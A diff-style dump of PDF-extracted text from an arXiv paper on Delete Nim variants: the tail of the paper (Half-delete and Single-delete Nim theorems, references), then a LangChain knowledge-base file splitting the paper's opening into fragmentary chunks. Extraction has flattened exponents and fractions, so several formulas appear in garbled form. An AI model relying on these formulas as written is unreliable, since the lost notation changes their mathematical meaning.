+k(k − 1) + k(k − 1)
+and k(ks−2−1)
+k−1
+is an integer, so for a k-evenoid number y < ks,
+y = αk(k − 1) + β
+�
+α ≤ k(ks−2 − 1)
+k − 1
+, k ≤ β ≤ k(k − 1)
+�
+and we can split α into α1, α2, . . . , αk ≤
+ks−2−1
+k−1 .
+From (2), we can also
+split β into 1 ≤ β1, β2, . . . , βk ≤ k − 1. Let γi = αik(k − 1) + βi for any
+1 ≤ i ≤ k,then γ1, γ2, . . . , γk are all k-oddoid numbers, γ1 +γ2 +· · ·+γk = y,
+and γi ≤ ks−2−1
+k−1 k(k − 1) + k − 1 < ks−1.
+Using this lemma, we can give the following winning strategy for k−1
+k n-
+delete Nim by replacing the odd and even heaps of Theorem 5.2 with k-
+oddoid and k-evenoid heaps, respectively.
+8
+
+Theorem 5.6. Let Z = ⟨z1, z2, . . . , zkm⟩ be the k−1
+k n-delete nim position,
+where each zi is the number of tokens and zi < zi+1. Let ks be the smallest
+power of k greater than z(k−1)m+1. Then Z is a P-position if and only if
+z1, z2, . . . , zkm satisfy both of the following two conditions:
+(a) all z1, z2, . . . , z(k−1)m+1 are k-oddoid,
+(b) For any l, if zl is k-evenoid, then ks ≤ zl.
+Proof. Let P be the set of positions which satisfy both (a) and (b), and N
+be the complement of P. We show a position in P has no option in P in (i),
+and a position in N has at least one option in P in (ii) and (iii).
+(i) Assume that in a move of k−1
+k n-delete Nim, the remaining all m heaps
+are k-oddoid heaps. Then from Lemma 5.5 (1), one can obtain at most k−1
+k-oddoid heaps by splitting a remaining heap. Thus, each option is not in
+P. Therefore, if an option of a position in P is also in P, a k-evenoid heap
+has to be split into k k-oddoid heaps.
+At least one k-oddoid heap after
+this split has more than ks−1 stones. On the other hand, the player has to
+split at least one of the heaps whose sizes are z1, z2, . . . , z(k−1)m+1, but any
+k-evenoid heap from this split has less than ks stones, which contradicts to
+(b).
+(ii) Assume that (a) is not satisfied. That is, there exists a k-evenoid
+zi (1 ≤ i ≤ (k − 1)m + 1). Let s be an integer such that ks−1 ≤ zi < ks.
+Since zi is a k-evenoid number, s ≥ 2.
+Consider to split i-th heap and
+(k − 1)m + 2, (k − 1)m + 3, . . . , km-th heaps. From Lemma 5.5(3), zi can be
+split into k k-oddoid heaps less than ks−1. If zj(j ≥ (k − 1)m + 2) is a k-
+evenoid number, then let zj = αk(k − 1) + β(k ≤ β ≤ k(k − 1)). Then, from
+Lemma 5.5(2), zj can be split into β1, β2, . . . , βk−1, αk(k − 1) + βk, where
+1 ≤ β1, β2, . . . , βk ≤ k. If zj(j ≥ (k −1)m+2) is a k-oddoid number, then zj
+can be split into 1, 1, . . . , 1, zj−(k−1). Here, all ks−1, ks−1+1, . . . , ks−1+k−2
+are k-evenoid number, so if ks−1 ≤ zi < zj and zj is a k-evenoid number,
+then ks−1 ≤ zj − (k − 1). Therefore, for a position, if (a) is not satisfied,
+then the position has an option in P.
+(iii) Consider the case that (a) is satisfied but (b) is not satisfied. That is,
+z1, z2, . . . , z(k−1)m+1 are k-oddoid numbers and there exists zi(i > (k−1)m+
+1) such that zi is a k-evenoid number and zi < ks. Split the heaps whose sizes
+are z(k−1)m+1, z(k−1)m+2, . . . , zkm as follows: From Lemma 5.5(3), zi can be
+split into k k-oddoid numbers less than ks−1. For other zj, similar to (ii), if zj
+is a k-evenoid number, then it can be split into β1, β2, . . . , βk−1, αk(k−1)+βk
+and if zj is a k-oddoid number, then it can be split into 1, 1, . . . , 1, zj−(k−1).
+9
+
+Thus, for a position, if (a) is satisfied but (b) is not satisfied, then the
+position has an option in P.
+6
+Single-delete Nim
+Finally, in this section, we consider Single-delete Nim. In this ruleset, the
+player can remove only one heap.
+6.1
+The rule of Single-delete Nim
+Definition 6.1 (Single-delete Nim). There are n heaps of tokens.
+The
+player performs the following two operations in succession on his/her turn.
+• Selects one heap and deletes it.
+• Selects one heap of the remaining n − 1 heaps and splits it into two
+heaps.
+If n = 2, then the ruleset is the same as VDN, so this ruleset is a
+generalization of VDN. The terminal position in Single-delete Nim is only
+⟨1, 1, . . . , 1⟩.
+6.2
+Characterizing positions in Single-delete Nim
+Theorem 6.2. If n = 3 in the Single-delete Nim, the position ⟨x, y, z⟩ is a
+P-position if and only if v2(x) = v2(y) = v2(z).
+This result was introduced in Sakai [5]. This theorem is a special case of
+Theorem 4.2.
+Further, we introduce a theorem for the case n = 4.
+Theorem 6.3. Denote by Ik(z) the k-th digit from the bottom of the binary
+representation of non-negative integer z. For n = 4 in the Single-delete Nim
+position ⟨w, x, y, z⟩, let a = v2(w), b = v2(x), c = v2(y), d = v2(z).
+If
+a ≤ b ≤ c ≤ d, ⟨w, x, y, z⟩ is a P-position if and only if a, b, c, and d satisfy
+one of the following conditions (1), (2), (3), (4), or (5).
+(1) a = b = c = d.
+(2) a < b = c = d and
+(2A) Id+1(w) = 0.
+10
+
+(3) a < b < c = d and the following conditions (3A)-(3C) are satisfied.
+(3A) Id+1(w) = Id+1(x) = 0.
+(3B) Ik(w) + Ik(x) ≥ 1 for b + 2 ≤ k ≤ d.
+(3C) Ib+1(w) = 1.
+(4) a < b < c < d and the following conditions (4A)-(4E) are satisfied.
+(4A) Id+1(w) = Id+1(x) = Id+1(y) = 0.
+(4B) Ij(w) + Ij(x) + Ij(y) ≥ 2 for c + 2 ≤ j ≤ d.
+(4C) Ic+1(w) = Ic+1(x) = 1.
+(4D) Ik(w) + Ik(x) ≥ 1 for b + 2 ≤ k ≤ c.
+(4E) Ib+1(w) = 1.
+(5)
+a < b < c < d and the following conditions (5A)-(5F) are satisfied.
+(5A) Ii(w) + Ii(x) + Ii(y) + Ii(z) ∈ {0, 3, 4} for i ≥ d + 2.
+(5B) Id+1(w) = Id+1(x) = Id+1(y) = 1.
+(5C) Ij(w) + Ij(x) + Ij(y) ≥ 2 for c + 2 ≤ j ≤ d.
+(5D) Ic+1(w) = Ic+1(x) = 1.
+(5E) Ik(w) + Ik(x) ≥ 1 for b + 2 ≤ k ≤ c.
+(5F) Ib+1(w) = 1.
+A proof of this theorem is shown in a Japanese report [6]. This theorem
+solves only the case of n = 4, and the proof is long and complex, so we omit
+it.
+Acknowledgements
+This work was partially supported by JSPS KAKENHI Grant Numbers
+JP21K12191 and JP22K13953.
+References
+[1] Abuku, T., Sakai, K., Shinoda, M. and Suetsugu,K. : Determining the
+Winner of Split-and-delete Nim, The 27th Game Programming Work-
+shop, IPSJ, 17-24 (2022). (In Japanese)
+11
+
+[2] Abuku, T. and Suetsugu, K. : Delete Nim, Journal of Mathematics,
+Tokushima University 55, 75-81 (2021).
+[3] Albert, M.H., Nowakousuki, R.J. and Wolfe, D. Lessons in Play: An
+Introduction to Combinatorial Game Theory (2nd ed.), A K Peters/CRC
+Press. (2019)
+[4] Bouton, C.L.: Nim, a Game with a Complete Mathematical Theory,
+Annals of Mathematics 3, 35-39 (1902).
+[5] Sakai, K. :
+Alice’s Adventure in Puzzle-Land Vol.4, Nikkei Science
+(2021). (In Japanese)
+[6] Shinoda, M. : Generalizations of Delete Nim Game and determining the
+winner, The Special Interest Group Technical Reports of IPSJ Vol.2022-
+GI-47, No.5. 1-8 (2022). (In Japanese)
+[7] Siegel, A.N.: Combinatorial Game Theory, American Mathematical So-
+ciety (2013).
+[8] Stankova Z. and Rike T. (eds.) : A Decade of the Berkeley Math Circle
+Vol.1, Mathematical Circles Library, 159 (2008).
+12
+

WtFOT4oBgHgl3EQf7zTC/content/tmp_files/load_file.txt

@@ -0,0 +1,433 @@
+filepath=/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf,len=432
+page_content='arXiv:2301.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='12964v1  [math.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='CO]  30 Jan 2023  Some extensions of Delete Nim  Tomoaki Abuku∗  Ko Sakai†  Masato Shinoda‡  Koki Suetsugu§  2022  Abstract  Nim is a well-known combinatorial game with several variants, e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='g.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=',  Delete Nim and Variant Delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In Variant Delete Nim, the player  deletes one of the two heaps of stones and splits the other heap on  his/her turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In this paper, we discuss generalized Variant Delete Nim,  which generalizes the number of stone heaps to three or more, All-but-  one-delete Nim, Half-delete Nim, No-more-than-half-delete Nim, and  Single-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' We study the win-loss conditions for each of these  games.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  1  Introduction  Combinatorial games are 2-player games with neither chance elements nor  hidden information (for the details on combinatorial game theory, see, e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='g.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=',  Albert et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' [3] and Siegel [7]).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Nim is one of the oldest and most well-known combinatorial games.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The  basic rule of the game is that two players take turns choosing one of several  heaps and take as many tokens from the heap as they like, and the player  who cannot take a token from the heap loses.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In this paper, we only deal  with the rule that a player loses if he/she cannot make any possible moves  on his/her turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' This rules is called the normal rule.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Nim is a two-player zero-sum complete information-confirmation finite  game.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Since there are no draws, every position can be classified into two  ∗National Institute of Informatics, buku3416@gmail.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='com  †Kanagawa University, gummosakai@gmail.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='com  ‡Nara Women’s University, shinoda@cc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='nara-wu.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='ac.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='jp  §National Institute of Informatics, suetsugu.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='koki@gmail.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='com  1  types: N-position, in which the player whose turn it is to play has a strategy  to win the game, and P-position, in which the player whose turn it is to play  does not have a winning strategy.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The distinction mentioned above between  N-positions and P-positions in Nim was shown by Bouton [4], and it is now  known that the win-loss conditions of this game contain mathematically  interesting structures.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In addition, a more detailed analysis of the game has  been conducted to obtain the Sprague-Grundy values for each game.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The  Sprague-Grundy values are useful for determining the winners of games that  combine multiple games.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' For more information on these games, refer to [3].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Variants of the game with different rules for taking tokens in Nim Moore’s  game, Welter-Sato’s game (Maya game), Wythoff’s game, etc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=', have been  proposed.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The mathematical analysis of these games is a subject of interest.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  There are also games, such as Grundy’s game, for splitting heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  In this paper, we propose a generalization of Delete Nim and discuss its  win-loss conditions.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  This paper is organized as follows.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Section 2 describes the rules of Delete  Nim;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' the content of this section is concerned with the case where the number  of stone heaps is two.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Section 3 and beyond describe the various rules for  extending the number of stone heaps in Delete Nim to three or more and the  conditions for determining the winners.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Section 3 deals with All-but-one-  delete Nim, Section 4 with No-more-than-half-delete Nim, Section 5 with  Half-delete Nim, and Section 6 with Single-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Note that there is a game with a rule called “Split-and-delete Nim” that  reverses the order of deleting heaps and splitting heaps (see Abuku et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  [1]).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In order to clearly distinguish between these rules, we call the rule  defined in this paper “Delete-and-split Nim”.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  2  Delete Nim  In this section, we review the rules of Delete Nim and the determination of  winners and losers as previously mentioned in Abuku and Suetsugu [2].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Definition 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1 (The rules of Delete Nim).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are 2 heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The player performs the following two operations in succession on his/her  turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects a non-empty heap and deletes the other heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Removes 1 token from the selected heap and splits the heap into two  (possibly empty heaps).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  2  The p-adic valuation of an integer n, which we shall denote by vp(n), is  the exponent of the highest power of the prime number p that divides n.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In  this paper, only 2-adic valuation will be treated.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Theorem 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2 (Abuku and Suetsugu [2]).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let ⟨x, y⟩ be a Delete Nim po-  sition, where x and y represent the number of tokens in each heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The  Sprague-Grundy value of ⟨x, y⟩ is v2((x ∨ y) + 1), where ∨ is the bitwise  OR-operation.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In particular, ⟨x, y⟩ is a P-position if and only if both x and  y are even.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The following game, called Variant Delete Nim or VDN, is defined in  Stankova and Rike [8].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Definition 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='3 (The rules of VDN).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are 2 heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The  player performs the following two operations in succession on his/her turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects one heap and deletes it.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Splits the remaining heap into 2 (non-empty) heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  VDN and Delete Nim are equivalent games with respect to legal moves.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  We can see that the position ⟨x, y⟩ of VDN corresponds to the position  ⟨x − 1, y − 1⟩ of Delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore, according to Theorem 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2, in VDN,  the condition that each member of the pair ⟨x, y⟩ be odd is required for ⟨x, y⟩  to be a P-position.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' This decision condition is also included in Theorem 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2  of this paper.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  In the following sections, we will consider various rules when the number  of token heaps n is generalized to 3 or more.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The extended rules discussed  below all follow the VDN setting, where some of the n heaps of tokens are  deleted and the remaining heaps are split, and the number of heaps n before  and after the turn is assumed to remain the same.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Also, when splitting a  heap of tokens every heap must contain at least one token.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The two operations that a player performs in a turn (deleting and split-  ting a heap) are called a move, and a position that can be transitioned from  one position to another by a single move is called an option.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' A position that  has no option is called a terminal position, and the player whose turn it is  to play in this terminal position loses the game.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  3  All-but-one-delete Nim  In this section, we introduce a variant of delete nim, All-but-one-delete  Nim or ABO-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In this ruleset, all heaps except for one heap are  removed in a move.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  3  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1  The rule of ABO-delete Nim  Definition 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1 (ABO-delete Nim).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are n heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The player  performs the following two operations in succession on his/her turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects n − 1 heaps and deletes them.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Splits the remaining 1 heap into n heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The set of all positions in ABO-delete Nim is Gn = {⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ |  z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn ∈ N}.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If n = 2, then the ruleset is the same as VDN.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore,  ABO-delete Nim can be considered as a generalization of VDN.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' From Defini-  tion 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1, the set of terminal positions of ABO-delete Nim is {⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ |  1 ≤ z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn ≤ n − 1}.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2  Characterizing positions of ABO-delete Nim  Theorem 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' All-but-one-delete Nim position ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
